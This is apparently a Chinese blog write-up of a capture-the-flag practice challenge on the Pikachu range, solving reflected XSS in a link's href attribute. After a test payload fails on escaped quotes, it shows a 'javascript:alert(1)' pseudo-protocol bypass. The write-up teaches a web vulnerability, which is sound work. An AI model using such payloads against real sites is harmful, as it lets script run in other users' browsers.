【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)

XSS(跨站脚本)概述

Cross-Site Scripting 简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

1.反射性XSS;

2.存储型XSS;

3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致"精心构造"的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用"对输入进行过滤"和"输出进行转义"的方式进行处理:

输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

你可以通过"Cross-Site Scripting"对应的测试栏目,来进一步的了解该漏洞。

提示

a标签里面的href,img里面的src属性,有什么特殊的么


解法

随便输入一些数据,提交。出现一个 a 链接。

构造 payload:

javascript 复制代码
#"><script>alert(1);</script>

提交。点击无反应。

审查元素。

html 复制代码
<div class="page-content">

            <div id="xssr_main">
                <p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
                <form method="get">
                    <input class="xssr_in" type="text" name="message">

                    <input class="xssr_submit" type="submit" name="submit" value="submit">
                </form>
                <a href="#&quot;><script>alert(1);</script>"> 阁下自己输入的url还请自己点一下吧</a>            </div>

        </div>

输入:

javascript 复制代码
< > ; ' " = ( ) 

发现双引号会被转码。

html 复制代码
<a href="< > ; ' &quot; = ( ) "> 阁下自己输入的url还请自己点一下吧</a>

使用 javascript: 伪协议绕过。构造 payload:

javascript 复制代码
javascript:alert(1)

提交。

html 复制代码
<a href="javascript:alert(1)"> 阁下自己输入的url还请自己点一下吧</a>

点击链接,弹出弹窗。


声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的 。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为 ,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的 。对于因使用这些技术而导致的任何后果,博主不承担任何责任

相关推荐
键盘会跳舞7 分钟前
C++:容器适配器 queue 的源码级拆解
开发语言·c++·queue
四六的六1 小时前
端侧模型多端部署实战:从格式转换到灰度发布,Web 和移动端统一部署流水线
前端·人工智能·大模型·ai编程·ai模型·ai产品·端侧ai
Loge编程生活1 小时前
打卡信奥刷题(3449)用C++实现信奥题 P10429 [蓝桥杯 2024 省 B] 拔河
开发语言·数据结构·c++·算法·青少年编程
在世修行2 小时前
从零打造 C# 工业视觉检测系统(八):Modbus RTU 协议解析与 PLC 剔除控制实战
开发语言·c#
sunburn-2 小时前
Java 队列全面详解:从入门到面试实战
java·开发语言·汇编·ide·idea
AI直播技术杂谈2 小时前
AI直播推流链路中延迟优化的通用技术方案
开发语言·人工智能·php
凌云拓界3 小时前
NodeVerdict | .ndv 二进制格式:为 WASM 解码器设计的紧凑布局
安全·架构·开源·node.js·编辑器·软件工程·wasm
vx-程序开发3 小时前
springboot农产品运输服务平台---附源码75498
java·javascript·spring boot·python·eclipse·django·php
独隅3 小时前
前端离线暂停更新策略:Service Worker 与 PWA 的静默控制实践
前端
恒拓高科WorkPlus3 小时前
BeeWorks 即时通讯私有化解决方案介绍
安全